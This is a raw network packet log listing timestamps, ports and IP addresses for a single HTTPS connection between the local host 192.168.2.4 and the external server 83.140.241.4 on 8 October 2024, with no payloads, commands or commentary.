Oct 8, 2024 14:12:03.236004114 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.236012936 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.236048937 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.236922979 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.236941099 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.236991882 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.237001896 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.237015009 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.237042904 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.238370895 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.238389969 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.238445997 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.238451004 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.238491058 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.239228010 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.239245892 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.239300013 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.239305973 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.239343882 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.240133047 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.240149021 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.240212917 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.240217924 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.240263939 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.241044998 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.241060972 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.241112947 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.241117954 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.241159916 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.242111921 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.242127895 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.242172003 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.242177010 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.242207050 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.242218971 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.242866993 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.242882013 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.242943048 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.242948055 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.242993116 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.243726969 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.243741989 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.243799925 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.243804932 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.243843079 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.244998932 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.245016098 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.245064974 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.245069981 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.245110035 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.245780945 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.245798111 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.245845079 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.245850086 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.245889902 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.246560097 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.246587038 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.246640921 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.246645927 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.246687889 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.247657061 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.247674942 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.247719049 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.247724056 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.247751951 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.247759104 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.248677015 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.248693943 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.248744965 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.248749971 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.248789072 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.248828888 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.248842955 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.248897076 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.248900890 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.248939037 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.249979019 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.249998093 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.250041008 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.250046015 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.250062943 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.250077963 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.251014948 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.251032114 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.251081944 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.251085997 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.251130104 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.251777887 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.251796961 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.251838923 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.251842976 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.251866102 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.251873970 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.252861023 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.252880096 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.252932072 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.252937078 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.252974987 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.253062963 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.253078938 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.253118038 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.253122091 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.253146887 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.253154993 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.254015923 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.254033089 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.254077911 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.254082918 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.254117966 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.254925966 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.254941940 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.254993916 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.254997969 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.255040884 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.255866051 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.255882978 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.255934954 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.255939960 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.255976915 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.256588936 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.256603956 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.256675005 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.256680012 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.256724119 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.256891012 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.256908894 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.256952047 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.256957054 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.257002115 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.257811069 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.257826090 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.257878065 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.257883072 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.257921934 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.258569956 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.258589983 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.258642912 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.258647919 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.258690119 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.259376049 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.259397984 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.259449005 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.259454012 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.259495020 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.259780884 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.259794950 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.259834051 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.259839058 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.259865999 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.259871960 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.260330915 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.260344982 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.260406017 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.260411978 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.260449886 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.260934114 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.260951042 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.260987997 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.260993004 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.261018038 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.261030912 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.261894941 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.261909962 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.261950970 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.261965990 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.261974096 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.261991978 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.262011051 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.262037039 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.262922049 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.262936115 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.262978077 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.262983084 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.263010979 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.263863087 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.263880968 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.263928890 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.263933897 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.263943911 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.263956070 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.263981104 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.263987064 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.264009953 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.271780014 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.271811008 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.271856070 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.271888018 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.271905899 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.307498932 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.321871996 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.321897984 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.321989059 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.322015047 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.322052002 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.341120958 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.341139078 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.341206074 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.341238022 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.341253042 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.341280937 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.343375921 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.343400002 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.343439102 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.343447924 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.343460083 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.343492985 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.343996048 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.344017029 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.344058990 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.344072104 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.344083071 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.344110966 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.344827890 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.344850063 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.344896078 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.344901085 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.344939947 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.345151901 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.345355988 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.345374107 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.345438957 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.345444918 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.345488071 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.346128941 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.346144915 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.346204996 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.346211910 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.346251965 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.359771013 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.359786987 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.359843016 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.359857082 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.359903097 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.409698009 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.409718990 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.409784079 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.409811020 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.409864902 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.428693056 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.428714991 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.428781033 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.428811073 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.428824902 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.428852081 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.431045055 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.431066036 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.431121111 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.431128979 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.431168079 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.431749105 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.431765079 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.431818008 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.431823969 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.431863070 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.432307005 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.432322025 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.432382107 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.432389021 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.432426929 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.433031082 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.433048010 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.433082104 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.433088064 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.433115005 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.433123112 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.434346914 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.434365034 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.434413910 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.434420109 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.434459925 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.447102070 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.447118998 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.447174072 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.447181940 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.447221041 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.497162104 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.497179985 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.497260094 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.497287989 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.497333050 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.516217947 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.516238928 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.516310930 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.516330004 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.516370058 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.519145966 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.519162893 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.519217014 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.519222975 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.519248009 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.519259930 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.523652077 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.523674965 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.523722887 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.523729086 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.523746967 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.523766041 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.524197102 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.524215937 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.524260998 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.524266005 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.524291039 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.524349928 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.524595022 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.524615049 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.524660110 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.524665117 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.524702072 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.528126955 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.528148890 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.528203011 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.528217077 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.528261900 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.541284084 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.541340113 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.541368008 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.541377068 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.541398048 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.541410923 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.586436987 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.586461067 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.586543083 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.586553097 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.586577892 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.586591959 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.604684114 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.604707003 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.604779005 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.604784966 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.604830980 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.607929945 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.607945919 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.608005047 CEST	49730	443	192.168.2.4	83.140.241.4
